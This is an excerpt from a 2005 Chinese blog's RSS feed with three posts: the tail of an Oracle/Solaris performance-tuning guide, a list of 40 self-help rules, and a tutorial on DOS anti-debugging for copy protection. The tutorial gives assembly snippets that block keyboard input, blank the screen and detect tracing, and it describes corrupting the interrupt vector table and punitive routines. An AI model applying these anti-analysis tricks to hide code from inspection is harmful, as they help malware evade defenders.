<P>　　它报告Solaris上的进程、虚拟内存、磁盘、分页和CPU的活动情况。下面命令将显示系统每5秒钟做的事情的概要：<BR>% vmstat 5 </P>
<P>　　 sar命令</P>
<P>　　用于监控交换、分页、磁盘和CPU活动。下面命令用于每10秒显示10次分页活动的概要：<BR>% sar -p 10 10</P>
<P>　　若系统内存交换较多，且需要节省内存，可采用以下措施：</P>
<P>　　1） 避免运行不必要的系统daemon进程或应用程序进程；</P>
<P>　　2） 在不明显影响数据块命中率的前提下减少数据库缓冲区的数量，以释放一些内存；</P>
<P>　　3） 减少UNIX文件缓冲区的数量（特别是在使用裸设备时）。</P>
<P>　　3.1.2控制分页</P>
<P>　　少量的内存分页不会太显著地影响系统的性能，因为应用程序不必全部放在内存中。但是分页过多将会造成系统性能下降。为了检测过多的分页，可在快速响应或空闲期间运行测量，并与响应迟缓时的测量进行比较。可通过以下办法来解决：</P>
<P>　　 使用vmstat或sar -p监控分页；</P>
<P>　　　 安装更多的内存；</P>
<P>　　　 将一些工作移到另一系统中；</P>
<P>　　　 配置系统核心使用更少的内存；</P>
<P>　　　 保持SGA在单个共享内存段中。</P>
<P>　　3.1.3使SGA(System Globle Area)留驻内存</P>
<P>　　SGA是对数据库数据进行快速访问的一个系统全局区，若SGA本身需要频繁地进行释放、分配，则不可能达到快速访问数据的目的，因此，要求SGA驻留内存。这时，我们可以重新配置UNIX核心，调整一些操作系统参数以达到增加共享内存的目的。</P>
<P>　　3.2 数据库级的调整</P>
<P>　　每一个Oracle实例都是由一组Oracle后台进程和SGA的一个内存区组成的。这组后台进程会自动的读写数据库的数据文件，因此，数据库性能可以被这些因素所影响：SGA各部分的分配是否合理，使用效率是否正常；I/O和锁竞争是否较多。</P>
<P>　　3.2.1 SGA的分配及使用效率</P>
<P>　　分配给每个实例的内存，即SGA的使用效率如何，会大大影响数据库系统的性能。SGA由下列部分组成：共享池、数据块缓冲区、重做日志缓冲区、大池组成。</P>
<P>　　l 共享池（Shared pool）</P>
<P>　　共享池存放库缓存（存储共享SQL和PL/SQL区）和数据字典缓存（数据库对象信息）以及会话期间信息（对于MTS）。由于这些信息是应用程序需要经常访问的，因此这些信息需要保持高的命中率。可以通过以下语句来确认共享池数据的命中率：</P>
<P>　　库缓存：</P>
<P>select gethitratio from v$librarycache 应大于90%<BR>select sum(reloads)/sum(pins) from v$librarycache 应小于1%</P>
<P>　　数据字典缓存：</P>
<P>select sum(getmisses)/sum(gets) from v$rowcache 应小于15%</P>
<P>　　由于程序设计人员的水平参差不齐，可能存在大的匿名块，这会导致SQL不能重用，因此需要找出大的匿名块以转换为存储过程达到重用：</P>
<P>select * from v$sqlarea where command_type=47 and length(sql_text)&gt;500</P>
<P>　　而对于一些应用系统非常频繁使用的SQL对象如存储过程、函数、包等，可以通过钉在内存中的方式来防止由于共享池太小被移出：</P>
<P>exec dbms_shared_pool.keep(对象名)</P>
<P>　　 数据块缓冲区（Db block buffer）：</P>
<P>　　数据块缓冲区存放用户所经常访问的数据文件的数据块内容以及用户修改的数据内容。数据库把数据文件里的内容读到内存中，下次需要时直接从内存中读取，从而减少了磁盘的I/O和响应时间。当然，一般只在比较小的数据表（如常用代码表）才缓存到内存中。</P>
<P>　　由于数据快缓冲区中不可能存放所有的数据，因此可使用LRU算法来确定移出哪些数据块，但又尽量保证有较高的数据命中率。</P>
<P>　　查看数据块命中率的SQL语句为：</P>
<P>select 1-(phy.value/(cur.value+con.value)) from v$sysstat cur,v$sysstat con,v$sysstat phy<BR>where cur.name='db block gets' and con.name='consistent gets'<BR>and phy.name='physical gets'</P>
<P>　　如果这个命中率小于0.85，就要考虑为数据块缓冲区分配更多的内存了。</P>
<P>　　 重做日志缓冲区（Log buffer）：</P>
<P>　　重做日志缓冲区存放从用户内存区复制来的每个DML或DDL语句的重做条目。如果这个缓冲区分配太小会导致没有足够的空间来放重做条目而等待。</P>
<P>　　3.2.2 I/O和资源竞争</P>
<P>　　由于有众多的进程要写数据文件，因此需要通过I/O调整来解决I/O瓶颈问题。如果在设计阶段有效地考虑了表空间的合理分配，就能有效地在一定程度上减少I/O竞争。在数据库运行时，由于数据的动态增长，原来分配给表或索引的空间已经用完，Oracle会自动分配空间给这些数据库对象。而这个动态分配会对系统性能有所影响，所以要求：</P>
<P>　　 避免动态空间管理</P>
<P>　　 表空间的本地化管理，以减少与数据字典表空间的磁盘竞争。</P>
<P>　　在系统设计和试运行阶段数据量相对较小，效率低下的SQL可能并不会影响系统响应时间，但当系统数据量增长到一定程度时，需要在系统运行时监控并找出是哪些SQL不能有效使用索引或缺少索引，并进行相应调整：建立索引；修改SQL写法。</P>
<P>　　另外，在Oracle中，需要采用一些机制来保证数据库对象在使用期间的稳定性和数据的一致性，如使用锁存器(latch)、锁(lock)等。因此争用和这些机制相关的资源会影响数据库的性能。为了减少这种资源竞争，可以通过调整数据库的相关初始化参数（如db_block_lru_latches、dml_locks）来减少资源的争用，优化数据库性能。</P>
<P>　　4. 一些常用的性能优化手段和工具</P>
<P>　　Oracle数据库系统提供了一些工具和脚本来获取数据库的性能指标和优化的方法。如使用utlbstat.sql和utlestat.sql脚本获取一段时间内数据库的内存、磁盘I/O等的情况；使用动态性能视图和数据字典视图来获取命中率和系统等待事件等信息。当然，也可以使用Oracle Enterprise Manager图形化工具来监控。</P>
<P>　　5. 结束语</P>
<P>　　Oracle数据库的性能调整相当重要，但难度也较大。数据库管理员需要综合运用上面介绍的规律，在数据库建立时，就能根据应用的需要合理设计分配表空间以及存储参数、内存使用初始化参数，对以后的数据库性能有很大的益处。只有认真分析Oracle运行过程当中出现的各种性能问题，才能保证Oracle数据库高效可靠地运行。还需要指出的是：数据库的性能调整是一个系统工程，涉及的方面很多，不能仅仅根据一个时间点的情况就断定数据库运行性能的好与坏。如何有效地进行调整，数据库管理员需要经过反反复复的过程。这些都需要在大量的实践工作中不断地积累经验，从而更好地进行数据库的调优。</P>
<P>&nbsp;</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/204215.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48000/" target="_blank">数万名网友签名抗议星际争霸2取消局域网功能</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>获取成功人生的40条守则</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/30/203486.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sat, 30 Jul 2005 06:11:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/30/203486.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/203486.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/30/203486.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/203486.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/203486.html</trackback:ping><description><![CDATA[<P>获取成功人生的40条守则 </P>
<P>如何才能获取成功的人生？ 对于这个问题仁者见仁，智者见智。美国著名社会心理学家和婚姻问题研究专家劳伦李博士从大量指南读物及许多朋友的生活经历中汇集和概括了40条重要原则和方法。</P>
<P>&nbsp; 1. 依主次安排你的生活。 确定什么是你生活中最重要的，把它们写在纸上，记在心上。要坚持天天这样做。<BR>&nbsp; 2. 记下你的梦想。 然后，把这些梦想变成目标，再把这些目标变成任务。之后，把这些任务变成实施的步骤。<BR>&nbsp; 3. 着手你的工作：现在就开始。 规定完成日期，一定要做！<BR>&nbsp; 4. 读一些关于成功人物的文章。 这有助于你为自己确定理想的生活。<BR>&nbsp; 5. 向成功的人士请教。 把你的目标和行动计划给那些已经在这方面获得成功的人看看，并请他们提提建议。有现成的经验如何不去借鉴呢？<BR>&nbsp; 6. 对于不较理想的不要满足。 在那些对你来说最为重要的问题上不要折中。要得到令你满意的东西。<BR>&nbsp; 7. 从他人的错误中吸取教训。 这比你从自己的错误中吸收教训要廉价得多，痛苦要少得多，省心省时。<BR>&nbsp; 8. 把注意力集中于你想要的东西上。 不要把注意力集中于那些你不想要的东西或者你目前的境遇上。要时时提醒自己。<BR>&nbsp; 9. 给别人以被重视的感觉。 可以用以下方式表达:问候、拥抱、传真、书信、邮件、礼品，还有最重要的一样，你宝贵的时间。<BR>&nbsp; 10.健康是第一位的。只有拥有健康，你才能享受你的财富。<BR>&nbsp; 11．做你想做的。 对所有的人都有好处。 <BR>&nbsp; 12．放松，平和。 平静些，安宁些。这样，在多数情况下都能够适度、理智地处事。<BR>&nbsp; 13． 多休息。 充分的休息，使精神和体能重新补充和加强活力。<BR>&nbsp; 14． 多喝水。 清洗润滑你的身体。这也有助于你的皮肤保持湿润、光滑、富有青春活力。水是最有益于健康的饮料。<BR>&nbsp; 15． 多走走,多感受。 开阔眼界，了解别人如何生活，冒点险去丰富你的生活！<BR>&nbsp; 16． 在生活中尝试冒险的感受。 尤其当你所得甚多、所失甚少时，你将从你生活新增的阅历中学到许多。 <BR>&nbsp; 17． 天天学点新东西。 这是快东的秘诀。感受一下，当你在学一些你想学的新东西时，你是多么快乐！<BR>&nbsp; 18． 做什么事都争取优秀。 不管你做什么工作，从事什么职业，经营什么生意，都争取达到你能达到的最好程度。你做出优秀的事越多，你也就越优秀！<BR>&nbsp; 19． 不断进步。 每天有所得总比每天毫无所得要好。在你生活的各个领域中都这样做。千万不 要停滞不前！<BR>&nbsp; 20． 使用电脑。 用电脑安排你的生活。掌握了它，你能在所从事工作的各方面都学得更多、更快。你会惊奇于它为你的快速成长提供了那么多帮助，并且启发了你提高创造力的天赋。而且，要上互联网，有自己的网址，在分享开发网上资源方面获益。<BR>&nbsp; 21． 提高办事效率。 给自己提出挑战，以更少的精力更快地达到目标。<BR>&nbsp; 22． 成功是个过程。 成功不是终点。这一点要记在心中。成功很重要，它是通向你的目标的渐进过程。要喜欢过程！<BR>&nbsp; 23． 不要拿自己和别人比。 总有人比自己做的好，尽管如此也不应泄气、灰心。尽力去做，这就足够了！<BR>&nbsp; 24． 建立诚实的声誉。 这是每个人都需要的。把声誉建立在正直、诚实、可信的基础上。要耐心些， 因为这需要时间。这很值得努力。<BR>&nbsp; 25． 使你的生活令人难忘。 只做那些对你重要并使你难忘的事情。这完全在你的掌握之中! <BR>&nbsp; 26． 享受简单的生活。 专门研究一下如何使你的生活成为艺术品。当生活变得简单时，就会容易得多。让你的生活成为杰作！<BR>&nbsp; 27． 把善意散布到四面八方。 那些展示善意最少的人，倒是象最需要善意的人--尤其是现在。记住：要始终充满善意！<BR>&nbsp; 28． 每天锻炼。 最少散步30分钟。单独去或者有个好伴同行。这种时候你可以享受自然，还可以跟同伴聊聊自己的大事和目标。<BR>&nbsp; 29．选择健康的饮食方式。 光顾天然食品商店。读些关于饮食和健康的书籍，和身体健康的人聊天。<BR>&nbsp; 30．奖励自己。 今天晚上为第二天设定目标。决定一下当你完成一天的任务后给自己的奖励。 这些奖励要能够得到兑现并给每天带来挑战。<BR>&nbsp; 31．微笑在先--很有感受染力。 要友好地、恰当地微笑。每天都对你见到的新面孔而微笑。微笑是世界通用语。 <BR>&nbsp; 32．争取"赢一赢"。 在各种情况下，对所有的事都这样考虑。当世界上的人都这样想去做时，你们就会拥有世界的和平了。<BR>&nbsp; 33．从多读中多学。 读你喜欢的题目，为读书留出时间。要高度重视。你会为读书能使你和他人受益如此之丰而感到惊奇。<BR>&nbsp; 34．给别人树立一个光辉的榜样。 你能做得最好，并激励他人这样去做。<BR>&nbsp; 35．过最充实的生活！ 让你生活的每一分钟都过得有意义。让你的生活充满欢乐、愉快、幸福、奉献。<BR>&nbsp; 36．做出与众不同的贡献。 因为你活着，所以你有一生的时间可以为改善世界奉献一份力量。<BR>&nbsp; 37. 欢乐常在，乐趣颇多！ 从工作中享受乐趣。把每一个遭遇都当成生活中的一节课。从每一个遭遇所学到的知识中寻找乐趣，不管是什么遭遇！<BR>&nbsp; 38．原谅并爱每个人。 这样，你就能够原谅自己。然后让自己保持没有负担的生活。<BR>&nbsp; 39．为他人做出奉献。 当你为他人的生活做出奉献时你也为自己做出了奉献。<BR>&nbsp; 40．天天激励自己。 让你的生活成为幸福的奇迹！<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/203486.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47999/" target="_blank">Silverlight打造杰克逊纪念专题</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>计算机加密反跟踪技术密文技术</title><link>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199215.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Sun, 24 Jul 2005 11:31:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199215.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/199215.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/07/24/199215.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/199215.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/199215.html</trackback:ping><description><![CDATA[<P>计算机加密反跟踪技术密文技术</P>
<P>一)跟踪技术<BR>大家知道DOS中有一个功能强大的动态跟踪调试软件DEBUG,它能够实现对程序的跟踪和逐条运行,其实这是利用了单步中断和断点中断的原因,而且目前的大多数跟踪调试软件都是利用了这两个中断。</P>
<P>单步中断(INT1)是由机器内部状态引起的一种中断,当系统标志寄存器的TF标志(单步跟踪标志)被置位时,就会自动产生一次单步中断,使得CPU能在执行一条指令后停下来,并显示各寄存器的内容。<BR>断点中断(INT3)是一种软中断,软中断又称为自陷指令,当CPU执行到自陷指令时,就进入断点中断服务程序,由断点中断服务程序完成对断点处各寄存器内容的显示。<BR>G命令的执行过程:DEBUG中的G命令是用于运行程序的,但当G命令后面跟有断点参数时,就可使程序运行至断点处中断,并显示各寄存器的内容,这样就可以大大提高跟踪的速度。它的实现是通过调用断点中断来实现的:DE-BUG首先保存设置的断点处指令,改用断点中断INT3指令代替,当程序执行到断点处的INT3指令时,便产生断点中断,并把原先保存的断点处指令重新替代INT3,以完成一个完整的设置断点的G命令。通过对单步中断和断点中断的合理组合,可以产生强大的动态调试跟踪功能,这就对磁盘加密技术造成了巨大的威慑,所以破坏单步中断和断点中断,在反跟踪技术中就显得十分必要,成为反跟踪技术中的"必修课"。</P>
<P>二)反跟踪技术<BR>作为反拷贝技术的保护者反跟踪技术是整个磁盘加密技术中最能显示技术水平的部分,如果它稍有漏洞就会影响到整个磁盘加密技术的可靠性.不过毫无漏洞的反跟踪技术是没有,随着时间的推移、编程工具的更新和经验的积累,反跟踪技术只会向完美逼近,但可以肯定的是:一定不会达到完美,这和哲学中的"绝对和相对"是同一个道理。一个卓越的反跟踪技术虽然肯定有着微小的漏洞,但是它本身其它的技术可以起到弥补和尽可能减小这个漏洞的作用,这就是这个反跟踪技术的卓越之处。一个有效的反跟踪技术应该具有3大特性:</P>
<P>重要程序段是不可跳越和修改的:PROLOK的解密过程是通过修改判读指纹的程序段来实现的,这其实是激光加密系统中反跟踪技术的一个败笔,一个有效的反跟踪技术应该对加密系统中的某些甚至全部程序段进行保护,如果这其中有内容被修改,将导致出错,主要方法有累计、累或和异或和程序段等方法,同时还要保证重要程序段一定要被执行,方法主要有加密程序分段加密,运行时逐层解密,逐层清除的方法,即只有运行了重要的程序段,才能将下一层程序代码从密码形式转换成明码形式;<BR>不通过加密系统的译码算法,密码不可破译:为塑造一个封闭的加密系统,杜绝使用外调自编子程序甚至手工转换密码,规定只能由加密系统的译码程序来转换密码;<BR>加密系统是不可动态跟踪执行的:动态跟踪是对加密系统的窥视,所以反跟踪技术应该绝对禁止对加密系统的动态跟踪。<BR>反跟踪技术主要采用的方法有:</P>
<P>抑制跟踪中断:DEBUG的T和G命令分别要运行系统的单步中断和断点中断服务程序,在系统向量表中这两个中断的中断向量分别为1和3,中断服务程序的入口地址分别存放在0000:0004和0000:000C起始的4个字节中。因此,当这些单元中的内容被修改后,T和G命令将无法正常执行,具体实现方法:<BR>(1)将这些单元作为堆栈使用;<BR>(2)在这些单元中送入软件运行的必要数据;<BR>(3)将软件中某个子程序的地址存放在这些单元中,当需要调用时使用INT1和INT3指令来代替CALL指令;<BR>(4)放入惩罚性程序的入口地址。</P>
<P>封锁键盘输入:各种跟踪调试软件在工作时,都要从键盘上接收操作者发出的命令,而且还要从屏幕上显示出调试跟踪的结果,这也是各种跟踪调试软件对运行环境的最低要求。因此反跟踪技术针对跟踪调试软件的这种"弱点",在加密系统无须从键盘或屏幕输入、输出信息时,关闭了这些外围设备,以破坏跟踪调试软件的运行环境。键盘信息的输入采用的硬件中断方式,由BIOS中的键盘中断服务程序接收、识别和转换,最后送入可存放16个字符的键盘缓冲区。针对这些过程反跟踪技术可以采用的方法有:<BR>(1)改变键盘中断服务程序、BIOS的键盘I/O中断服务程序的入口地址:键盘中断的中断向量为9,BIOS的键盘I/O中断的中断向量为16H,它们的中断服务程序的入口地址分别存放在内存地址0000:0024H和0000:0058H起始的4个字节中,改变这些地址中的内容,键盘信息将不能正常输入。<BR>(2)禁止键盘中断:键盘中断是一个可屏蔽中断,可通过向8259中断控制器送屏蔽控制字来屏蔽键盘中断。控制键盘的是中断屏蔽寄存器的第1位,只要将该位置1,即可关闭键盘的中断。<BR>INAL,21H<BR>ORAL,02H<BR>OUT21H,AL<BR>需要开放键盘中断时,也要用三条指令:<BR>INAL,21H<BR>ANDAL,FDH<BR>OUT21H,AL</P>
<P>(3)禁止接收键盘数据:键盘数据的接收是由主机板上8255A并行接口完成的。其中端口A用来接收键盘扫描码,端口B的第7位用来控制端口A的接收,该位为0表示允许键盘输入,为1则清除键盘。正常情况下,来自键盘的扫描码从端口A接收之后,均要清除键盘,然后再允许键盘输入,为了封锁键盘输入,我们只须将端口B的第7位置1:<BR>INAL,61H<BR>ORAL,80HOUT61H,AL<BR>当需要恢复键盘输入时,执行以下三条指令:<BR>INAL,61H<BR>ANDAL,7FH<BR>OUT61H,AL</P>
<P>(4)不接受指定键法:在DEBUG中T、P和G都是用于动态跟踪的关键命令,如果加密系统关键命令,如果加密系统在运行时必须从键盘上接收信息(这个时候加密系统容易被各种跟踪调试软件截获,所以应尽量避免),可以通过对键盘中断服务程序的修改扩充,使之不接受T、P和G这些敏感的键码,以达到反跟踪的目的。当然这是一种不得以而采取的方法,因为它有相当大的局限性和漏洞:一是如果加密系统在接受的信息中,可能牵涉到T、P等键码,这种方法就行不通了;二是DEBUG下的动态调试命令是T、P和G,那么其它的跟踪调试软件呢?显然其它的软件就不一定是这些命令了,而且还不乏两个键码、三个键码以及更多键码组成的动态调试命令。<BR>3.设置显示器的显示性能:当加密系统无需在屏幕上显示信息时,可以通过各种方法关闭屏幕,这样可使解密者无法得到跟踪调试软件返回的任何信息,以阻止解密者对加密系统的破译。这种反跟踪技术在实现方法上也有5类:</P>
<P>(1)封锁屏幕显示:可以重新设置屏幕特性,将前景和背景色彩置成同一种颜色,使解密者在跟踪期间无法看见调试信息:<BR>MOVAH,0BH<BR>MOVBH,0<BR>MOVBL,0<BR>INT10H</P>
<P>这时屏幕的背景颜色和字符颜色均被置成黑色,当需恢复屏幕的显示特性时,可将上述第3条指令中的BL值换成1～7,便使字符的颜色变成深蓝、绿和红色等。</P>
<P>2)检查加密系统是否处于被监控状态:各类跟踪调试软件在显示信息时,必然会出现屏幕上卷和换页等操作,因此可以经常检查屏幕上某些位置的状态,若有变化则一定有人在跟踪程序。获取屏幕信息的方法可用以下指令来实现:<BR>MOVAH,02<BR>MOVBH,0<BR>MOVDH,行光标值<BR>MOVDL,列光标值<BR>INT10H<BR>MOVAH,08<BR>INT10H </P>
<P>这样就可以读取光标处的字符和属性了。<BR>(3)修改显示器I/O中断服务程序的入口地址:显示器I/O中断INT10H的中断入口地址存放在内存地址0000:0040H开始的4个字节中,修改这4个字节中的内容,就可破坏或扩充显示器I/O中断服务程序。<BR>(4)定时清屏:利用对时钟中断的扩充,可以使时钟中断定时清屏。<BR>(5)直接对视屏缓冲区操作:每台机器都有固定位置和长度的视屏缓冲区(具体的位置和长度随显示器的类型而不同),不过各类显示器上的所有信息都是视屏缓冲区中信息的反应。如果软件直接对视屏缓冲区进行操作,可以获得比利用显示中断快得多的显示速度,现在许多先进的跟踪调试软件都采取了这种方法,一是提高速度;二是针对反跟踪技术,所以反跟踪技术仅仅只修改显示中断的入口地址是远远不够的,还要通过对时钟中断的修改扩充,定时频繁地刷新视屏缓冲区中的内容。<BR>检测跟踪法:当解密者利用各种跟踪调试软件对加密系统分析执行时,势必会造成许多与正常执行加密系统不一致的地方,如运行环境、中断入口和时间差异等等。如果在反跟踪技术中对不一致的地方采取一定的措施,也同样可以起到保护加密系统的目的。实现这种方法的关键在于以下两个方面:一是如果检测到加密系统是否被跟踪,二是检测到被跟踪后如何进行处理,前一个方面的实现主要依靠加密者对DOS内核和跟踪调试软件的深入了解,后者则一般是一种死循环、启动机器或提示非法跟踪并停止运行的程序,但也不排除有惩罚性动作的程序,在这里只主要讨论第一方面:(1)定时检测法:一个程序在正常运行和被跟踪运行时,所花的时间是大不相同的,可以想象一个被跟踪运行的程序往往要花费极长的时间,反跟踪技术抓住这个特点,根据执行时间的长短来判断是否被跟踪。这种技术在具体实现时有两点要注意:①确定程序正常运行时所需的时间:这个时间的取值一般比最慢速机器(8088)运行的时间稍微长一些,如果在检测执行时间时发现所用时间还大于定下的时间值,就可以肯定当前的程序是被跟踪执行;②发现执行所用的时间小于定下的时间值,也不能认为是?绝对没被跟踪,这是因为DEBUG的T和G命令在执行时将禁止所有可屏蔽的中断,用以计时的时钟中断也不例外,所以如果用T和P命令对程序进行动态跟踪执行时,会完全停止时钟的计数,有可能出现执行时间远小于规定的时间值的情况(甚至可能出现不用时间的怪事)。解决这个问题的办法除了利用抑制跟踪中断法外,还可通过时间中断1AH来解决:如果发现时钟不走动,则进入死循环。<BR>MOVAH,0</P>
<P>INT1AH;读当前时钟值</P>
<P>MOVBX,DX;读取的时钟低部存入BX</P>
<P>LOOP:MOVAH,0</P>
<P>INT1AH</P>
<P>CMPBX,DX;比较时钟低部是否变动<BR>JZLOOP;时钟未走动则返回重读</P>
<P>另外还存在另一种可能的情况:即解密者简化了加密程序,则也会引起执行所用时间小于规定值的情况,这种方法的对策是在反跟踪技术中加入定时检测关键部位数据是否改变和对代码实施保护法。(2)偶尔检测法:在加密系统中加入判断时间的功能,并且当时间满足某一条件时再对加密系统中的关键部位进行判断,如果关键部位不存在或发现了变化则可判定加密系统已经被破坏,应立即做出相应的反应。象这类反跟踪技术可以出现在加密系统的各处,并为了增加解密难度,还可以使多次出现的这类反跟踪技术紧密联系、环环相扣,以造成一种永远无法解密的感觉。这类技术如果运用于大的程序中可以极大的提高磁盘加密技术的可靠性,甚至几乎不可解密。(3)利用时钟中断法:时钟中断INT8大约每隔55ms就要被执行一次。它主要处理两项任务:一是计时;二是管理软盘驱动器的启闭时间,另外在它执行时,还要再次调用INT1AH和INT1CH中断,这其中的INT1CH中断实质上只是一个空操作的中断,它主要用于用户有某种周期性的工作时,让用户用自己设计的中断服务程序取而代之的。在反跟踪技术中利用时钟中断可以定时检查前台任务执行的情况,如果发现前台的程序被非法跟踪调试,可以立即采取相应的措施,也可以对中断向量表作定时检查、计算程序执行时间、密文的译码操作和前面说到的定时清屏等等。利用时钟中断法是一个非常有效的反跟踪技术,通过对INT1CH中断的扩充,时钟中断可以完成许多任务,但要注意的是,这个扩充程序不宜过大,以免影响前台程序的执行速度。(4)PSP法:每个程序在执行时都必须建立对应的程序段前缀PSP,当程序未被跟踪执行时,PSP中14H与16H开始的两个字节是相同的,当被跟踪运行时,这些内容就不会相同。(5)中断检测法:一个执行的程序如未被跟踪,则INT1和INT3的入口地址相同,且都为哑中断,如被跟踪则相反,所以通过检测INT1和INT3的入口地址即可判断是否被跟踪。</P>
<P>破坏中断向量表:DOS提供了从0到FFH的256个中断调用(见表1),它们驻留在内存的较低地址中,相应的入口地址位于内存0000:0000至0000:03FFH中,每个入口地址由4个字节组成,其中前两个字节为程序的偏移地址,后两个字节为程序的段地址。DEBUG等跟踪调试软件在运行时大量地使用了DOS提供的各类中断,不仅如此,比DEBUG功能更强大,甚至针对反跟踪技术设计的高级反反跟踪调试软件也调用了DOS中断,典型的例子就是使用其它中断来代替断点中断的反反跟踪技术。破坏中断向量表显然可以从根本上破坏一切跟踪调试软件的运行环境,以达到"以不应万变"的最终目的。DOS和BIOS有个40段的数据区,它位于内存0040:0000至0040:00FFH,这256个字节存放的都是当前系统配置情况,对这些内容的修改也会直接影响到各类跟踪调试软件的正常运行。从LOCK89开始就已经使用了破坏中断向量表和部分40段数据区的反跟踪技术,因为这种技术的卓越表现,直至LOCK93这种反跟踪技术一直被保留延用下来。破坏中断表在其它反跟踪技术中也出现过,如:抑制跟踪中断、改变键盘中断服务程序入口地址和修改显示器中断服务程序入口地址等等,所以破坏中断表是一个涉及面极广、效果极好的反跟踪技术,它能最大程度地阻止解密者对加密系统的直接或间接动态跟踪,使解密技术面临一个全新的问题。<BR>设置堆栈指针法:跟踪调试软件在运行时,会产生对堆栈的操作动作,比如:保存断点。因而在反跟踪技术中对于堆栈指针的运用就显得相当重要了,比如对堆栈指针的值进行设计,并力求使设计的结果具备一定的抗修改性,以免解密者通过再次修改堆栈指针的值来达到继续跟踪的目的。!TB38013100.gif<BR>(1)将堆栈指针设到ROM区:只读存储区ROM是无法保存数据的,堆栈指针如果指向ROM区域,势必不能保存数据,这将会使跟踪调试无法继续进行下去。<BR>(2)设在程序段中:堆栈指针如果设在将要执行的程序段中,那么任何的堆栈操作都会破坏程序代码,使程序不能正常运行。<BR>(3)设在中断向量表内:INT1和INT3是反跟踪技术一定要破坏的中断,所以将堆栈指针设在内存的低地址段内,既可以进行少量的堆栈操作(跟踪调试软件一般需要大量的堆栈来存放数据),还可以破坏单步和断点中断的入口地址。<BR>(4)将堆栈指针移作它用:如果确认没有堆栈操作的话,可以将堆栈指针拿来做其它用途,如保存经常要更换的数据,这样就可以使堆栈指针的值经常更换,从而使它根本无法保存数据。设置堆栈指针法是一个针对动态跟踪设计的反跟踪技术,不过它的运用有着一定的限制:(1)要保证将要执行的程序段不能进行有效的堆栈操作;(2)在要进行堆栈操作时,必须首先恢复正确的堆栈指针。设置堆栈指针不会影响到时钟中断保存数据,因为象时钟和键盘等系统中断保存数据所用的都是系统栈,而不象单步和断点中断是用堆栈来保存断点的。<BR>对程序分块加密执行:为了防止加密程序被反汇编,加密程序最好以分块的密文形式装入内存,在执行时由上一块加密程序对其进行译码,而且在某一块执行结束后必须立即对它进行清除,这样在任何时刻内不可能从内存中得到完整的解密程序代码。这种方法除了能防止反汇编外还可以使解密者无法设置断点,从而从一个侧面来防止动态跟踪。<BR>对程序段进行校验:对一个加密程序的解密工作往往只是对几个关键指令的修改,因此对程序段特别是关键指令的保护性校验是十分必要的,这样可以防止解密者对指令进行非法篡改。具体方法有累计、累减、累或和异或和程序段等方法。<BR>迷惑、拖垮解密者:为了迷惑和拖垮解密者,可以在加密系统中多多设置专门针对解密者的"陷阱",这样既可以消耗解密者的时间和精力,还可以磨灭解密者的斗志和毅力。<BR>(1)设置大循环:程序越简单,就越易读,跟踪也就越方便,便于这个原因,在加密系统中设置大循环,可以在精力上消耗解密者,延长跟踪破译加密系统的时间。这种反跟踪技术已经被广泛应用,而且取得了较好的效果。它的具体实现方法是:在加密程序中设置多重循环,并使上一层循环启动下一层循环,下一层循环启动下下一层循环,如此循环,而且还可以频繁地调用子程序,还要保证不能有一层循环被遗漏不执行。<BR>(2)废指令法:在加密程序中设置适当的无用程序段,而且在这其中设置如大循环等程序,这种方法在反跟踪技术中被称为废指令法。要实现废指令法有三点要保证:①废指令要精心组织安排,不要让解密者识破机关,这是废指令法应具备的基本点,因为它的目的是诱导解密者去研究破解自身,并在破解过程中拖垮解密者,所以废指令法本身的伪装十分重要;②所用的废指令应大量选用用户生疏的指令或DOS内部功能的调用,以最大程度地消耗解密者的精力和破译时间;③要确保不实现任何功能的废指令段不能被逾越,这是废指令法要注意的一个重要问题,因为它如果能被轻易逾越,那么就说明加密系统所采取的废指令法是失败的反跟踪技术。<BR>(3)程序自生成技术:程序的自生成是指在程序的运行过程中,利用上面的程序来生成将要执行的指令代码,并在程序中设置各种反跟踪措施的技术。这样可以使得反汇编的指令并非是将要执行的指令代码,同时还可以隐蔽关键指令代码,但由于实现代价较高,一般只对某些关键指令适用。</P>
